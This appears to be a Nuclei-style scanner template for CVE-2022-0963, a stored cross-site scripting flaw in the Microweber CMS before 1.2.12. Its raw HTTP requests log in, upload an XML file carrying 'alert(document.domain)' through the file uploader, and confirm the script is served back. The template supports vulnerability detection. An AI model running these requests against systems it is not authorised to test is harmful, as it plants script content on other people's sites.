id: CVE-2022-0963 info: name: Microweber <1.2.12 - Stored Cross-Site Scripting author: amit-jd severity: medium description: | Microweber prior to 1.2.12 contains a stored cross-site scripting vulnerability. It allows unrestricted upload of XML files,. reference: - https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c/ - https://github.com/advisories/GHSA-q3x2-jvp3-wj78 - https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c - https://nvd.nist.gov/vuln/detail/CVE-2022-0963 - https://github.com/microweber/microweber/commit/975fc1d6d3fba598ee550849ceb81af23ce72e08 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2022-0963 cwe-id: CWE-79 epss-score: 0.00192 cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:* metadata: max-request: 3 verified: true vendor: microweber product: microweber tags: xss,microweber,cms,authenticated,huntr,cve,cve2022,intrusive http: - raw: - | POST /api/user_login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username={{username}}&password={{password}} - | POST /plupload HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=---------------------------59866212126262636974202255034 Referer: {{BaseURL}}admin/view:modules/load_module:files -----------------------------59866212126262636974202255034 Content-Disposition: form-data; name="name" {{randstr}}.xml -----------------------------59866212126262636974202255034 Content-Disposition: form-data; name="chunk" 0 -----------------------------59866212126262636974202255034 Content-Disposition: form-data; name="chunks" 1 -----------------------------59866212126262636974202255034 Content-Disposition: form-data; name="file"; filename="blob" Content-Type: application/octet-stream alert(document.domain) -----------------------------59866212126262636974202255034-- - | GET /userfiles/media/default/{{to_lower("{{randstr}}")}}.xml HTTP/1.1 Host: {{Hostname}} cookie-reuse: true req-condition: true matchers: - type: dsl dsl: - 'contains(body_3,"alert(document.domain)")' - 'status_code_3==200' - 'contains(body_2,"bytes_uploaded")' condition: and